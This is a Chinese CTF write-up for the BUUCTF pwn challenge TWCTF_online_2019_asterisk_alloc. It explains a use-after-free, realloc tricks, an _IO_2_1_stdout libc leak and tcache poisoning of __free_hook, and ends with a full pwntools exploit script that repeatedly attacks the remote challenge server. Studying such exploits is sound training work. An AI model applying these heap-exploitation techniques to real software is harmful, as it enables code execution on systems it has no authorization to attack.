(BUUCTF)TWCTF_online_2019_asterisk_alloc

文章目录

  • 前置知识
  • 整体思路
    • realloc函数
    • 思路
  • exp

前置知识

  • realloc函数的利用
  • 利用unsortedbin中残留的指针进行partial overwrite,来劫持_IO_2_1_stdout
  • 通过_IO_2_1_stdout进行输出

整体思路

realloc函数

realloc(ptr, new_size);
// realloc函数可以重新调整之前分配的内存块的大小。
// 若ptr为0且new_size > 0,则相当于malloc(new_size)
// 若new_size为0,则会将ptr进行free
// 若new_size非法,则会return NULL
// 若new_size < old_size - 0x20,则会chunk shrink,多余的部分会直接free
// 若new_size > old_size,高地址处的chunk为top chunk则直接扩展;高地址处为free状态的chunk,则需要后面free的chunk合并,判断切割后能否满足,否则直接申请新的chunk,复制到新的chunk中,将以前的chunk进行free

思路

观察程序,发现可以通过malloc/calloc/realloc申请内存,同时delete中存在uaf。此外,malloccalloc都只可以进行一次,而realloc可以一直进行。但realloc申请的内存的指针会放到bss段一个固定地址,无法通过realloc实现多次malloc。但是,可以通过realloc一个非法地址,从而使其返回NULL,覆盖掉bss段的固定地址,使其为NULL。如此一来再次执行realloc时,第一个参数将为NULL,相当于可以无数次malloc了。

有了无数次malloc,便可以通过多次释放同一个chunk填满tcacheunsortedbin,然后操纵unsortedbin中残留的libc地址来通过_IO_2_1_stdout泄露libc地址。

这之后就只需要通过double freetcache poisoning就好了。

exp

from pwn import *
from LibcSearcher import *

filename = './TWCTF_online_2019_asterisk_alloc'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

def malloc(size, content):
    sh.sendlineafter('Your choice: ', '1')
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Data: ', content)

def calloc(size, content):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Data: ', content)

def realloc(size, content):
    sh.sendlineafter('Your choice: ', '3')
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Data: ', content)

def realloc_null(size):
    sh.sendlineafter('Your choice: ', '3')
    sh.sendlineafter('Size: ', str(size))

def delete(type):
    sh.sendlineafter('Your choice: ', '4')
    sh.sendlineafter('Which: ', type)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

def exp(sh):
    # 申请一个大小为0x100的chunk
    malloc(size=0xf0, content='a')
    
    # 再申请一个大小为0x100的chunk,防止上一个在挂入unsortedbin的时候被top合并
    realloc(size=0xf0, content='prevent_mergeing')

    # 利用uaf连续free 8次,使得一个chunk被挂入unsortedbin
    for i in range(8):
        delete('m')

    # 当输入值为-1的时候,由于输入不合法,会返回NULL,覆盖掉程序中realloc的指针。
    realloc_null(size=-1)
    # 由此,可以通过realloc重新申请chunk。这里两步通过unsortedbin中残留的libc地址,来partial overwrite其为_IO_2_1_stdout的地址,概率为1/16
    realloc(size=0xd0, content='\x60\x87')
    
    # 同理,先输入-1来清空指针,便可再次realloc申请不同的chunk
    realloc_null(size=-1)
    realloc(size=0xf0, content='aaa')

    # 修改_IO_2_1_stdout,覆盖_IO_write_base的最低位为0,便可泄露出一些地址
    realloc_null(size=-1)
    payload = p64(0xfbad1887)
    payload = payload.ljust(0x20, b'\x00') + p8(0)
    realloc(size=0xf0, content=payload)
    libc_leak = u64(sh.recv(16)[8:])
    libc.address = libc_leak - 0x3ed8b0
    leak_info('libc.address', libc.address)


    # 接下来打free_hook即可
    realloc_null(size=-1)
    realloc(size=0x60, content='aa')
    delete('r')
    delete('r')

    realloc_null(size=-1)
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    payload = p64(libc.sym['__free_hook'])
    realloc(size=0x60, content=payload)

    realloc_null(size=-1)
    realloc(size=0x60, content='aa')
    
    realloc_null(size=-1)
    payload = p64(libc.address + one_gadget[1])
    realloc(size=0x60, content=payload)
    delete('r')
    sh.interactive()

while True:
    if local:
        sh = process(filename)
    else:
        sh = remote('node4.buuoj.cn', 26650)
    
    try:
        exp(sh)
    except:
        sh.close()
        continue

你可能感兴趣的:(pwn_writeup,安全,网络安全,系统安全)